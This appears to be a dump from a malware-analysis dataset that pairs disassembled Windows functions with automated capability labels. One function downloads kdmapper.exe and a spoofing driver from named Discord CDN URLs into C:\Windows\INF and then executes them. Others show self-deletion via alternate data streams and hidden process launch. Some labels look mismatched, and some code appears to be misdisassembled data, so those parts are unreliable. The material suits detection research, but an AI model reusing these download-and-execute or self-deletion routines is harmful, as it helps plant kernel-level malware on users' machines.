joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001a80
Capabilities:
Self delete using alternate data streams

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
movaps xmmword [rsp + 0x70], xmm6
mov rsi, rdx
mov rdi, rcx
mov dword [rdx], 1
mov r15, qword [sym.imp.KERNEL32.dll_CreateFileW]
xorps xmm6, xmm6
lea rbx, [rsp + 0x40]
mov r13, qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001aea
mov rcx, r14
call r13
mov eax, dword [rsi]
cmp eax, 0x64
je 0x140001c46
inc eax
mov dword [rsi], eax
mov rax, qword [0x1400070a0]
test rax, rax
je 0x140001b48
mov rcx, qword [0x1400070a8]
call qword [0x1400058d8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2200000
mov dword [rsp + 0x20], 3
mov rcx, rdi
mov edx, 0x10000
mov r8d, 7
xor r9d, r9d
call r15
cmp rax, 0xffffffffffffffff
je 0x140001b66
mov r14, rax
mov byte [rsp + 0x40], 1
mov rcx, rax
mov edx, 4
mov r8, rbx
mov r9d, 1
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x140001b55
mov rcx, r14
call r13
jmp 0x140001aea
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001aea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
mov rcx, r14
call r13
jmp 0x140001b6f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
mov ebp, r12d
and ebp, 0xfffffffe
cmp ebp, 2
je 0x140001c46
cmp r12d, 0x91
je 0x140001ac2
cmp r12d, 0x20
je 0x140001ac2
cmp r12d, 5
jne 0x140001c46
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2200000
mov dword [rsp + 0x20], 3
mov rcx, rdi
mov edx, 0x180
mov r8d, 7
xor r9d, r9d
call r15
cmp rax, 0xffffffffffffffff
je 0x140001ac2
mov r14, rax
movaps xmmword [rsp + 0x50], xmm6
movaps xmmword [rsp + 0x40], xmm6
mov qword [rsp + 0x60], 0
mov rcx, rax
xor edx, edx
mov r8, rbx
mov r9d, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandleEx]
test eax, eax
je 0x140001abc
mov eax, dword [rsp + 0x60]
test al, 1
je 0x140001abc
and eax, 0xfffffffe
mov dword [rsp + 0x60], eax
mov rcx, r14
xor edx, edx
mov r8, rbx
mov r9d, 0x28
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
mov r12d, eax
mov rcx, r14
call r13
test r12d, r12d
jne 0x140001aea
jmp 0x140001ac2
cmp ebp, 2
sete al
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400021b0
Capabilities:
Create process on windows
Get file attributes

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xe8
mov edi, r9d
mov rbx, rdx
mov rsi, rcx
xorps xmm0, xmm0
lea rax, [rsp + 0x80]
movaps xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x60], rcx
movaps xmmword [rax + 0x50], xmm0
movaps xmmword [rax + 0x40], xmm0
movaps xmmword [rax + 0x30], xmm0
movaps xmmword [rax + 0x20], xmm0
movaps xmmword [rax + 0x10], xmm0
mov dword [rax], 0x68
lea rdx, [rsp + 0x60]
mov qword [rdx + 0x10], rcx
movaps xmmword [rdx], xmm0
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, r8
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400022a0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x5c], 0
mov rcx, qword [rsp + 0x60]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140002279
mov edi, 0x6b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsi], edi
mov dword [rsi + 4], eax
mov rax, rsi
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x60]
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x14000225a
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov edi, dword [rsp + 0x5c]
jmp 0x140002265
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp ebp, 3
je 0x1400022c9
cmp ebp, 2
je 0x140002265
mov eax, dword [rsp + 0x138]
mov dword [rsi], eax
mov dword [rsi + 4], ebp
jmp 0x14000226a
mov ecx, dword [rsp + 0x130]
mov dword [rsi], ecx
jmp 0x140002267
Function at 0x140002c70
Capabilities:
Get disk information

Disassembly:
push rsi
push rdi
sub rsp, 0x2a8
mov rsi, rdx
mov qword [rdx], 0
xor eax, eax
lea rdx, [rsp + 0x4e]
mov word [rdx + 0x208], ax
mov word [rdx], ax
mov dword [rsp + 0x40], 0
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
test eax, eax
je 0x140002d6f
xor eax, eax
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x38], 0
lea rcx, [rsp + 0x4e]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x140002d6f
test byte [rsp + 0x40], 8
mov dil, 1
je 0x140002d72
lea rcx, [rsp + 0x40]
mov qword [rcx], 0
call fcn.140002b90
xor edi, edi
test al, al
je 0x140002d72
lea rcx, [rsp + 0x4e]
mov word [rcx + 0x258], di
mov word [rcx], di
lea r8, str.D:PAI_A__FA___BA__A_OIIOCI_GA___BA__A__FA___SY__A_OIIOCI_GA___SY__A_OIIOCI_GA___CO__A__FA___
mov edx, 0x12c
call fcn.1400036f0
test al, al
je 0x140002d62
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x4e]
mov edx, 0x12c
call fcn.1400036f0
test al, al
je 0x140002d60
lea r8, [0x140005580]
lea rcx, [rsp + 0x4e]
mov edx, 0x12c
call fcn.1400036f0
test al, al
jne 0x140002d7e
xor edi, edi
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140002d72
mov dil, 1
mov eax, edi
add rsp, 0x2a8
pop rdi
pop rsi
ret
lea rcx, [rsp + 0x4e]
mov edx, 1
mov r8, rsi
xor r9d, r9d
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW
test eax, eax
setne dil
jmp 0x140002d62
Function at 0x140002da0
Capabilities:
Create directory
Generate random numbers via rtlgenrandom

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rsi, r8
mov rdi, rdx
mov r15, rcx
mov qword [r8], 0x6c
mov edx, 0x104
mov rcx, rdi
mov r8, r15
call fcn.1400036b0
test al, al
je 0x140002e07
lea r8, [0x140005692]
mov ebx, 0x104
mov edx, 0x104
mov rcx, rdi
call fcn.1400036f0
test al, al
je 0x140002e07
mov edx, 0x104
mov rcx, rdi
call fcn.140003680
sub rbx, rax
cmp rbx, 0xb
jae 0x140002e1a
xor eax, eax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r14, rax
xorps xmm0, xmm0
lea rdx, [rsp + 0x38]
movaps xmmword [rdx - 8], xmm0
mov qword [rdx + 8], 0
mov dword [rdx - 8], 0x18
mov rcx, r15
call fcn.140002c70
test al, al
jne 0x140002e57
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 0x75
mov qword [rsi], rax
jmp 0x140002e07
mov qword [rsi], 0x6d
lea r15, [rdi + r14*2]
mov rbp, r14
add rbp, 5
mov r13d, 0xfffffff6
lea r12, [rsp + 0x2c]
jmp 0x140002eeb
lea r8, [0x14000558e]
mov edx, 0x104
mov rcx, rdi
call fcn.1400036f0
mov qword [rsi], 0
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140002ea1
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [rsi], 0
sete al
jmp 0x140002e09
mov word [rdi + r14*2 + 0xa], 0
mov edx, 0x104
mov rcx, rdi
lea r8, [0x140005584]
call fcn.1400036f0
mov rdx, qword [rsp + 0x38]
test rdx, rdx
lea rax, [rsp + 0x30]
cmovne rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140002e76
inc r13d
je 0x140002e91
mov rcx, r12
mov edx, 4
call sub.ADVAPI32.dll_SystemFunction036
mov edx, 4
mov rcx, r12
mov r8, r15
mov r9, rbx
call fcn.140003620
cmp rbp, 0x103
ja 0x140002eb4
jmp 0x140002eac

Function at 0x140003950
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov rdi, r9
mov rsi, r8
lea r9, [rsp + 0x34]
mov dword [r9], 0
lea eax, [rdi + rdi]
lea r8, [rsp + 0x30]
mov dword [r8], eax
mov rcx, qword [rcx]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rsi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140003994
add rsp, 0x38
pop rdi
pop rsi
ret
mov eax, 0x32
cmp dword [rsp + 0x34], 1
jne 0x14000398d
mov ecx, dword [rsp + 0x30]
cmp rcx, 2
jb 0x1400039c6
mov edx, ecx
and edx, 0xfffffffe
cmp word [rsi + rdx - 2], 0
je 0x1400039cb
shr ecx, 1
mov eax, 0xea
cmp rcx, rdi
jae 0x14000398d
add rsi, rdx
mov word [rsi], 0
xor eax, eax
jmp 0x14000398d

Function at 0x1400039d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x38
lea r9, [rsp + 0x34]
mov dword [r9], 0
lea rax, [rsp + 0x30]
mov dword [rax], 4
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140003a0a
add rsp, 0x38
ret
mov eax, 0x32
cmp dword [rsp + 0x34], 4
jne 0x140003a05
xor ecx, ecx
cmp dword [rsp + 0x30], 4
mov eax, 0xe8
cmove eax, ecx
jmp 0x140003a05
Function at 0x140003a30
Capabilities:
Set registry value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [rax*2 + 2]
mov rcx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov rdx, rdi
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret

Function at 0x140003a80
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
lea rax, [rsp + 0x34]
mov dword [rax], r8d
mov rcx, qword [rcx]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
add rsp, 0x38
ret

Function at 0x140003ac0
Capabilities:
Query or enumerate registry value

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, r9
mov rbx, r8
lea rax, [rsp + 0x40]
mov qword [rax], 0
mov qword [rsp + 0x20], rax
xor edi, edi
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140003b11
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140003b05
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
mov r14, qword [rsp + 0x90]
lea r9, [rsp + 0x3c]
mov dword [r9], 0
lea eax, [r14 + r14]
lea rdx, [rsp + 0x38]
mov dword [rdx], eax
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rsi
xor edi, edi
mov rdx, rbx
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003af5
cmp dword [rsp + 0x3c], 1
jne 0x140003af5
mov eax, dword [rsp + 0x38]
cmp rax, 2
jb 0x140003b79
mov ecx, eax
and ecx, 0xfffffffe
cmp word [rsi + rcx - 2], 0
je 0x140003b7e
shr eax, 1
cmp rax, r14
jae 0x140003b86
add rsi, rcx
mov word [rsi], 0
mov dil, 1
jmp 0x140003af5
xor edi, edi
jmp 0x140003af5

Function at 0x140003c30
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x248
mov rsi, rdx
mov rdi, rcx
lea rbx, [rsp + 0x30]
mov rcx, rbx
call fcn.140001d40
mov rcx, rbx
mov rdx, rsi
call fcn.140001da0
test al, al
je 0x140003d03
mov rbx, qword [rdi + 8]
mov sil, 1
test rbx, rbx
je 0x140003d05
xor r13d, r13d
mov ebp, 0x800000
lea r14, [rsp + 0x30]
lea r15, [rsp + 0x2c]
mov rsi, qword [sym.imp.KERNEL32.dll_WriteFile]
sub rbx, r13
cmp rbx, rbp
cmovae rbx, rbp
mov dword [rsp + 0x2c], 0
mov r12, qword [rdi]
add r12, r13
mov rcx, r14
call fcn.140001f10
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r12
mov r8d, ebx
mov r9, r15
call rsi
test eax, eax
je 0x140003cde
add r13, rbx
mov rbx, qword [rdi + 8]
cmp r13, rbx
jb 0x140003c92
mov sil, 1
jmp 0x140003d05
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
lea rdi, [rsp + 0x30]
mov rcx, rdi
call fcn.140001e50
mov rcx, rdi
call fcn.140001d60
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
lea rcx, [rsp + 0x30]
call fcn.140001d60
mov eax, esi
add rsp, 0x248
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140003e18
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x140003e90
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x140003e90
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x140003e90
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x140003e84
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x140003ea2
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x140003e72
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x140003e92

Function at 0x140001000
Capabilities:
Download url
Execute command
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:WindowsINFkdmapper.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1245860348066529311_1245862510855323809_kdmapper.exe_ex665ee8a1is665d9721hm06532b8b82a5dc60c10ea5519b49f9ec8f6111cc6d5ed9457ba496c7ee797738
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:WindowsINF_freezeusspoof.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1245860348066529311_1245862511170031656_freezeusspoof.sys_ex665ee8a1is665d9721hm6d6d0a321cd6abb9bcfae25fa8c9df7073426abb3c13d0736a00fa0de9e722d3
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsINFkdmapper.exe_C:WindowsINF_freezeusspoof.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x38
ret

Function at 0x140001948
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001992
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001992
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001992
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001992
cmp dword [rcx + 0x84], 0xe
jbe 0x140001992
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001994
xor al, al
add rsp, 0x28
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x14002cb80
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1400d0400]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rsi, rcx
mov rdx, qword [rcx]
xor r8d, r8d
mov edx, dword [rdx + 0x98]
lea rcx, [rsp + 0x20]
call fcn.1400366f0
nop
cmp byte [rsp + 0x40], 0
je 0x14002ccf4
mov rsi, qword [rsi + 8]
add rsi, 0x140
mov r8d, 0xfde9
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x58]
call fcn.140045fe0
mov r8, rax
mov r9, qword [rax + 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14002cbfa
mov rdx, qword [rax]
movabs rbx, 0xcbf29ce484222325
xor ecx, ecx
test r9, r9
je 0x14002cc33
movabs r10, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
xor rbx, rax
imul rbx, r10
inc rcx
cmp rcx, r9
jb 0x14002cc20
mov r9, rbx
lea rdx, [rsp + 0x48]
mov rcx, rsi
call fcn.14001dc50
mov rdi, qword [rax + 8]
test rdi, rdi
je 0x14002ccba
mov rcx, qword [rsi + 0x30]
and rcx, rbx
shl rcx, 4
mov rdx, qword [rsi + 0x18]
add rdx, rcx
mov rax, qword [rdx]
cmp qword [rdx + 8], rdi
jne 0x14002cc83
cmp rax, rdi
jne 0x14002cc79
mov rax, qword [rsi + 8]
mov qword [rdx], rax
mov qword [rdx + 8], rax
jmp 0x14002cc8e
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
jmp 0x14002cc8e
cmp rax, rdi
jne 0x14002cc8e
mov rax, qword [rdi]
mov qword [rdx], rax
mov rdx, qword [rdi]
dec qword [rsi + 0x10]
mov rax, qword [rdi + 8]
mov qword [rax], rdx
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
lea rcx, [rdi + 0x10]
call fcn.14000b9a0
mov edx, 0x40
mov rcx, rdi
call fcn.140074c44
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14002ccf4
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ccee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002cd27
call fcn.140074c44
nop
cmp byte [rsp + 0x40], 0
je 0x14002cd05
lea rcx, [rsp + 0x20]
call fcn.14000d740
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140074d60
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.14007b488
nop
int3
add rcx, 8
jmp 0x14002cb80
Function at 0x140030350
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
mov ebp, 0xfffd
nop word [rax + rax]
movzx ecx, word [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp ax, 9
ja 0x140030433
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x140030433
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x140030451
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx + 0x10]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx]
cmp rcx, rax
je 0x140030423
cmp word [rcx], 0x5c
jne 0x14003041c
lea rdx, [rcx + 2]
cmp rdx, rax
je 0x14003041c
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x140030407
movzx eax, word [rdx]
sub ax, 0x28
cmp ax, 1
jbe 0x140030419
test r8b, 0x10
jne 0x14003041c
movzx eax, word [rdx]
sub ax, 0x7b
test bp, ax
jne 0x14003041c
mov rcx, rdx
lea rax, [rcx + 2]
mov qword [rbx], rax
mov rcx, rbx
call fcn.140034590
test edi, edi
jne 0x140030380
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
mov rcx, rbx
call fcn.1400325e0
int3
Function at 0x140030970
Capabilities:
Hash data using fnv

Disassembly:
mov rcx, qword [rcx + 8]
mov rdx, qword [rcx + 0xa0]
mov ecx, dword [rcx + 0x98]
jmp 0x140051850
mov rax, rsp
mov qword [rax + 0x10], rbx
mov dword [rax + 8], ecx
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0x90
movaps xmmword [rax - 0x28], xmm6
mov rdi, rdx
mov ebx, ecx
lea r14, [0x1400d66f0]
mov qword [rbp + 0x17], r14
mov byte [rbp + 0x1f], 0
mov rcx, r14
call fcn.1400561d0
test eax, eax
jne 0x140051a11
cmp dword [0x1400d673c], 0x7fffffff
je 0x140051a1c
mov byte [rbp + 0x1f], 1
lea r8, [0x1400d66b0]
mov qword [rbp + 0x27], r8
movzx edx, bl
movabs rax, 0xcbf29ce484222325
xor rdx, rax
movabs rcx, 0x100000001b3
imul rdx, rcx
movzx eax, byte [rbp + 0x68]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [rbp + 0x69]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [rbp + 0x6a]
xor rdx, rax
imul rdx, rcx
mov rcx, qword [0x1400d66e0]
and rcx, rdx
shl rcx, 4
add rcx, qword [0x1400d66c8]
mov rax, qword [rcx + 8]
mov rdx, qword [0x1400d66b8]
cmp rax, rdx
je 0x140051930
mov rcx, qword [rcx]
cmp ebx, dword [rax + 0x10]
je 0x140051932
nop dword [rax]
cmp rax, rcx
je 0x140051930
mov rax, qword [rax + 8]
cmp ebx, dword [rax + 0x10]
jne 0x140051920
jmp 0x140051932
xor eax, eax
test rax, rax
cmove rax, rdx
cmp rax, rdx
je 0x1400519d1
lea rdx, [rbp + 0x67]
mov rcx, r8
call fcn.140052f70
mov dword [rbp - 0x19], 1
mov qword [rbp - 0x11], rdi
mov qword [rbp - 9], rax
movups xmm6, xmmword [rbp - 0x19]
movups xmmword [rbp - 1], xmm6
mov ecx, 0x18
call fcn.140074c08
test rax, rax
je 0x140051984
movups xmm0, xmmword [rbp - 9]
movups xmmword [rax], xmm0
unpckhpd xmm6, xmm6
movsd qword [rax + 0x10], xmm6
mov qword [rbp + 0x77], rax
lea rcx, [rbp - 0x11]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x14004b8c0]
xor edx, edx
xor ecx, ecx
call fcn.140087e14
mov qword [rbp - 0x19], rax
test rax, rax
je 0x1400519ff
cmp dword [rbp - 0x11], 0
je 0x1400519f4
movaps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 9], xmm0
lea rcx, [rbp - 9]
call fcn.140056714
test eax, eax
jne 0x1400519f4
mov rcx, r14
mov rbx, qword [rsp + 0xb8]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop r14
pop rdi
pop rbp
jmp fcn.1400561d8
mov ecx, 1
call fcn.14005644c
nop
mov dword [rbp - 0x11], 0
mov ecx, 6
call fcn.14005644c
nop
mov ecx, 5
call fcn.14005644c
int3
mov dword [0x1400d673c], 0x7ffffffe
mov ecx, 6
call fcn.14005644c
int3
Function at 0x140031030
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1400d0400]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rsi, rcx
mov rdx, qword [rcx]
xor r8d, r8d
mov edx, dword [rdx + 0x98]
lea rcx, [rsp + 0x20]
call fcn.1400366f0
nop
cmp byte [rsp + 0x40], 0
je 0x14002ccf4
mov rsi, qword [rsi + 8]
add rsi, 0x140
mov r8d, 0xfde9
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x58]
call fcn.140045fe0
mov r8, rax
mov r9, qword [rax + 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14002cbfa
mov rdx, qword [rax]
movabs rbx, 0xcbf29ce484222325
xor ecx, ecx
test r9, r9
je 0x14002cc33
movabs r10, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
xor rbx, rax
imul rbx, r10
inc rcx
cmp rcx, r9
jb 0x14002cc20
mov r9, rbx
lea rdx, [rsp + 0x48]
mov rcx, rsi
call fcn.14001dc50
mov rdi, qword [rax + 8]
test rdi, rdi
je 0x14002ccba
mov rcx, qword [rsi + 0x30]
and rcx, rbx
shl rcx, 4
mov rdx, qword [rsi + 0x18]
add rdx, rcx
mov rax, qword [rdx]
cmp qword [rdx + 8], rdi
jne 0x14002cc83
cmp rax, rdi
jne 0x14002cc79
mov rax, qword [rsi + 8]
mov qword [rdx], rax
mov qword [rdx + 8], rax
jmp 0x14002cc8e
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
jmp 0x14002cc8e
cmp rax, rdi
jne 0x14002cc8e
mov rax, qword [rdi]
mov qword [rdx], rax
mov rdx, qword [rdi]
dec qword [rsi + 0x10]
mov rax, qword [rdi + 8]
mov qword [rax], rdx
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
lea rcx, [rdi + 0x10]
call fcn.14000b9a0
mov edx, 0x40
mov rcx, rdi
call fcn.140074c44
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14002ccf4
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ccee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002cd27
call fcn.140074c44
nop
cmp byte [rsp + 0x40], 0
je 0x14002cd05
lea rcx, [rsp + 0x20]
call fcn.14000d740
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140074d60
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.14007b488
nop
int3
add rcx, 8
jmp 0x14002cb80
Function at 0x1400356d0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
sub r8, rdx
movabs rax, 0xcbf29ce484222325
sar r8, 1
mov r9d, 0
add r8, r8
je 0x140035714
movabs r10, 0x100000001b3
nop word [rax + rax]
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140035700
ret